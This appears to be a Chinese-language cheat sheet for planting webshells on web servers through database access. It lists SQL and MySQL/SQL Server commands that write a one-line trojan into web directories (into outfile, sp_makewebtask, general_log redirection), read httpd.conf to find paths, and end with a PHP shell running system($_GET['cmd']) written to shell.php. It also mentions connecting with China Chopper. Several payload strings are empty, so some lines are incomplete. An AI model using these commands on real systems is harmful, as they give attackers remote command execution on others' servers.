create table cmd (a varchar(50)); insert into cmd (a) values ('一句话木马') #一句话木马如: select * into [a] in 'e:\web\webshellcc\1.asa;x.xls' 'excel 4.0;' from cmd drop table cmd
菜刀直连
https://www.webshell.cc/1.asa;x.xls
Sqlserver导出
1
exec sp_makewebtask 'C:\test1.php','select "" '--
Mysql导出
以phpMyAdmin为例
方式一
1 2 3 4
create TABLE xiaoma (xiaoma1 text NOT NULL); insert INTO xiaoma (xiaoma1) VALUES(''); select xiaoma1 from xiaoma into outfile 'D:/phpstudy/www/7.php'; drop TABLE IF EXISTS xiaoma;
方式二
1
select "" into outfile 'D:/phpstudy/www/a.php'
方式三
当数据库路径未知时Getshell
1 2
//创建表a,并且将httpd.conf写入到表a中 create table a(a text);load data infile "C:/phpStudy/Apache/conf/httpd.conf" into table a;
show global variables like 'secure%'
显示secure_file_priv的值为NULL,不能利用写into outfile写木马getshell。
1 2 3 4
show global variables like "%genera%"; #查看genera文件配置情况 set global general_log = off; #关闭general_log set global general_log = 'on'; #如果general_log关闭需要开启 set global general_log_file = 'D:/www/web/shell.php'
方式六
可执行命令方式
select '
\'; system($_GET[\'cmd\']); echo \'\'; ?>' INTO OUTFILE 'd:/www/shell.php'